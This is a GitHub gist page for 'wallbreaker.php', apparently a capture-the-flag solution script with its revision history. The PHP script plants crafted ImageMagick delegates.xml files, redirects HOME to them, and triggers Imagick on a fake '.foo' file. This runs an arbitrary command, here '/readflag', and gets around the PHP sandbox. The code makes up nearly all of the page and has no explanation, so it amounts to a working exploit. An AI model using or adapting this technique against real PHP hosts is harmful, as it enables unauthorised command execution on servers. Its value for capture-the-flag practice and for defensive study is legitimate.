Skip to content

Instantly share code, notes, and snippets.

@tyage

tyage/wallbreaker.php

Last active April 1, 2020 03:33
Show Gist options

  • Select an option

    Learn more about clone URLs
  • Save tyage/13a75b9963a364ed2b7ee5d23a190cd5 to your computer and use it in GitHub Desktop.

Select an option

Learn more about clone URLs
Save tyage/13a75b9963a364ed2b7ee5d23a190cd5 to your computer and use it in GitHub Desktop.
Download ZIP

Revisions

  1. tyage revised this gist Mar 25, 2019. 1 changed file with 1 addition and 0 deletions.
    1 change: 1 addition & 0 deletions wallbreaker.php
    View file
    Original file line number Diff line number Diff line change
    @@ -1,3 +1,4 @@
    <?php
    $home = '/tmp/84d99af2ce44bb1dd3398190b930c8ac';
    ini_set('display_errors', 1);
    mkdir("$home/.magick/");
  2. tyage renamed this gist Mar 24, 2019. 1 changed file with 0 additions and 0 deletions.
    0 wallbreaker.md → wallbreaker.php
    View file
    File renamed without changes.
  3. tyage created this gist Mar 24, 2019.
    18 changes: 18 additions & 0 deletions wallbreaker.md
    View file
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,18 @@
    $home = '/tmp/84d99af2ce44bb1dd3398190b930c8ac';
    ini_set('display_errors', 1);
    mkdir("$home/.magick/");
    file_put_contents("$home/.magick/delegates.xml", "<delegatemap><delegate decode=\"foo\" command=\"/readflag > $home/flag\"/></delegatemap>");
    mkdir("$home/.config/");
    mkdir("$home/.config/ImageMagick");
    file_put_contents("$home/.config/ImageMagick/delegates.xml", "<delegatemap><delegate decode=\"foo\" command=\"/readflag > $home/flag\"/></delegatemap>");
    touch("$home/test.foo");
    $_ENV['HOME'] = $home;
    var_dump(putenv("HOME=$home/"));
    var_dump(getenv("HOME"));
    try {
    $i = new Imagick("$home/test.foo");
    $i->writeImage("$home/test.png");
    } catch(Exception $e) {
    var_dump($e);
    }
    var_dump(file_get_contents("$home/flag"));